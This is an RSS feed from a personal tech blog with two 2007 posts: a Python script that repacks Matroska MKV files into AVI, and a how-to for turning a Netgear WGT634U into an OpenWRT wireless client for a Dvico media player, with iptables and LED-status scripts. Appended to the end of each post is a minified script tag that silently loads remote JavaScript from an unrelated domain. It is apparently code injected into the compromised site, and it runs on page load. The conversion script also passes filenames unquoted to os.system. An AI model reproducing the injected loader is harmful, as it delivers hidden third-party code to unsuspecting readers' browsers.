<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; dvico</title>
	<atom:link href="http://www.larsen-b.com/tags/dvico/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>How to convert matroska MKV to AVI on Linux ?</title>
		<link>http://www.larsen-b.com/Article/261.html</link>
		<comments>http://www.larsen-b.com/Article/261.html#comments</comments>
		<pubDate>Tue, 08 May 2007 12:38:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[divx]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[mastroka]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Today, I discover that my M3100 player doesn&#8217;t know how to play Mastroka files. Mastroka files are really kool since the subtitles are embeded in .. but that&#8217;s it, my player refuse to play open it. This stuff can be &#8230; <a href="http://www.larsen-b.com/Article/261.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Today, I discover that my <a class="reference" href="http://www.larsen-b.com/Article/258.html">M3100</a> player doesn&#8217;t know how to play <a class="reference" href="http://www.matroska.org/">Mastroka</a> files. <a class="reference" href="http://www.matroska.org/">Mastroka</a> files are really kool since the subtitles are embeded in .. but that&#8217;s it, my player refuse to play open it.</p>
<p>This stuff can be repack in a AVI (xivd..) file with some open source tools. Here, a little script to do the hard stuff ;)</p>
<p>You can find the script here : <a href="http://svn.pythonfr.org/public/pythonfr/utils/video/mkv2avi.py">http://svn.pythonfr.org/public/pythonfr/utils/video/mkv2avi.py</a></p>
<pre class="literal-block">#!/usr/bin/python
# Little script to depack Matroska file, and repack them
# in a AVI + subtitle format.

import sys
import os

def message(msg):
    print "=" * 78
    print "= %s" % msg
    print "=" * 78

def usage():
    print "Mastroka repacker script"
    print "  Usage: "+sys.argv[0]+ " filename"

if __name__ == "__main__":
    if len(sys.argv) &lt; 2:
       usage()
    else:
       filename = sys.argv[1]
       basename = filename[:-4]
       message("Unpacking file: %s" % filename)
       os.system("mkvextract tracks %s 1:temp_video.avi 2:temp_audio.ogg 3:%s.srt" % (filename,basename) )

       message("Repacking file: %s.avi" % basename)
       os.system("ffmpeg -i temp_audio.ogg  -i temp_video.avi  -vcodec copy  %s.avi" % (basename) )

       message("Cleaning files")
       os.system("rm temp_video.avi temp_audio.ogg")</pre>
<p><strong>/Enjoy Video</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/261.html/feed</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Media Player (Dvico 3100) + Netgear WGT634U = Cheap Wifi Media Player</title>
		<link>http://www.larsen-b.com/Article/258.html</link>
		<comments>http://www.larsen-b.com/Article/258.html#comments</comments>
		<pubDate>Thu, 05 Apr 2007 21:10:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This year, for my birthday I have a very nice Media Player M3100. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know.. The &#8230; <a href="http://www.larsen-b.com/Article/258.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This year, for my birthday I have a very nice Media Player <a class="reference" href="http://www.tvix.co.kr/eng/Products/M3100U.aspx">M3100</a>. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know..</p>
<p>The only issue: I need to take it back to my computer when I want to upload a new film, that&#8217;s it .. When I first received this gift, I went back to the shop to exchange it against a networked one. But 1) they cost a lot more money, 2) not available at the shop. (even if it&#8217;s a really big one).</p>
<p>Last week, somebody sent me a mail. He found some cheap wireless access point with a USB port: Netgear <a class="reference" href="http://kbserver.netgear.com/products/WGT634U.asp">WGT634U</a>. (50Euro) Hum, ok let&#8217;s give it a try. First test, plug a Media Player to this USB port&#8230; ok It&#8217;s working fine. But you know, I don&#8217;t have a network cable near my bed, so I decided to transform the Access Point in a Wireless client. By this way, I can simply plug the Media Player on the WGT634U and remotely put some Divx via FTP, without any wire.</p>
<div id="step-1-install-openwrt" class="section">
<h1><a name="step-1-install-openwrt">Step 1 / Install OpenWRT</a></h1>
<p>The default firmware on the WGT634 doesn&#8217;t support wireless client mode (It&#8217;s a AP). So I switched it to <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT634U">OpenWRT</a> Kamikaze. I build the firmware from source, but the kamikaze snapshot shoud work too. I followed the OpenWRT guide step by step with a external serial plug. You can find the complete howto for the serial connection <a class="reference" href="http://members.shaw.ca/swstuff/wgt634u.html">here</a></p>
<pre class="literal-block"># hit Ctrl-C on the bootloader
CFE&gt; ifconfig eth0 -auto
CFE&gt; flash -noheader tftp_host:openwrt-wgt634u.bin flash0.os
CFE&gt; reboot</pre>
<p>The first boot is a bit long, but all is fine&#8230;</p>
</div>
<div id="step-2-install-tools" class="section">
<h1><a name="step-2-install-tools">Step 2  / Install tools</a></h1>
<p>Here the short list of needed tools:</p>
<ul class="simple">
<li>kmod-usb2</li>
<li>kmod-usb-storage</li>
<li>kmod-vfat</li>
<li>kmod-nls-base, kmod-nls-cp437, kmod-nls-iso8859-1</li>
<li>pure-ftpd</li>
</ul>
<p>with a simple ipkg install via the serial console</p>
</div>
<div id="step-3-configure-openwrt-in-wireless-client" class="section">
<h1><a name="step-3-configure-openwrt-in-wireless-client">Step 3 / Configure OpenWRT in wireless client</a></h1>
<p>This is really simple in kamikaze, only change some files:</p>
<p>The wireless config file need to be tweaked, as I want it to join my MyDummySSID network</p>
<p><em>/etc/config/wireless</em></p>
<pre class="literal-block">config wifi-iface
option device   wifi0
option network  lan
option mode     sta
option ssid     MyDummySSID
option hidden   0
option encryption none</pre>
<p>Let&#8217;s go for the network config: MyDummySSID Access Point is 192.168.3.0/24, gateway in 3.1 and local DNS server is 1.254</p>
<p><em>/etc/config/network</em></p>
<pre class="literal-block">#### LAN configuration
config interface lan
option type     bridge
option ifname   "eth0.0"
option proto    'static'
option ipaddr   '192.168.3.2'
option netmask  '255.255.255.0'
option gateway  '192.168.3.1'
option dns      '192.168.1.254'</pre>
<p>First test: <em>ifdown wan</em> (switch off network) / <em>ifdown br-lan</em> / <em>ifup br-lan</em></p>
</div>
<div id="step-4-firewall" class="section">
<h1><a name="step-4-firewall">Step 4 / Firewall</a></h1>
<p>Ok that&#8217;s fine, but I want to restrict the access to my local network only.. so I need to hack the firewall a little to avoid remote access from other wireless clients (my wireless network is open you know..). Simply linked this little script in /etc/rc.d/</p>
<p><em>/opt/ftp-firewall</em></p>
<pre class="literal-block">#!/bin/sh

# clear all firewall rules
for T in filter nat mangle ; do
iptables -t $T -F
iptables -t $T -X
done

# drop incomming packet
iptables -P FORWARD ACCEPT
iptables -P OUTPUT  ACCEPT
iptables -P INPUT   DROP

# accept traffic on localhost
iptables -A INPUT -p tcp -i lo -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT

# accept ftp only from my home network
iptables -A INPUT -s 192.168.1.0/24 -p tcp -i br-lan --dport 21 -j ACCEPT

# accept incoming http / ssh
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# finaly accept already open Cnx
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</pre>
</div>
<div id="step-5-misc" class="section">
<h1><a name="step-5-misc">Step 5 / Misc</a></h1>
<p>After some tests, I discover that I need a way to know if the WGT634U managed to join the wireless network or no. So I added this little script, that check for the wireless BSSID, and turn the power led in yellow if something goes wrong .. this is really usefull in fact.</p>
<p><em>/opt/led-daemon</em></p>
<pre class="literal-block">#!/bin/sh

while true
do
{
STATE=$(iwconfig ath0 |grep  00:13:13:53:DA:D1 | wc -l)
[ $STATE -eq 1 ] &amp;&amp; echo 0 &gt; /proc/diag/led/power
[ $STATE -eq 0 ] &amp;&amp; echo 1 &gt; /proc/diag/led/power
sleep 20
}
done</pre>
<p>Foo</p>
</div>
<div id="step-6-finally" class="section">
<h1><a name="step-6-finally">Step 6 / Finally</a></h1>
<p>Here the result:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" /></div>
<p>The finished product (grrr) works really fine and managed to achieve something like 850Ko/sec, I mean full speed ;) (11Mbs network) I need to remove the serial port right now, and close the box..</p>
<p><strong>Important update</strong></p>
<p>I read on Engadget that I use this to stream video to my TV, (like the Apple TV do), but this is absolutely wrong. This media player has a <strong>320Go hard-drive</strong>. Why would stream film on this ? I just put it on that&#8217;s it :)</p>
<p>This is really amazing how people doesn&#8217;t read the article to see what I&#8217;ve done. It&#8217;s not the first time this happen in fact.</p>
<p>Here in France, most advanded users have some network TV from a long time, and this little boxes can play network stream (like the Apple TV) for a long time now. Beside you don&#8217;t pay for this service (rent for the boxes are included in DSL bill), the only issue is that you must have another computer to stream.</p>
<p>I guess nobody here (in France) would by a Apple TV, since we already have this kind of products for free for a long time. Look at a <a class="reference" href="http://fr.wikipedia.org/wiki/Freebox">Freebox</a> for example.</p>
<p><strong>It&#8217;s time to watch a film :)</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/258.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
	</channel>
</rss>
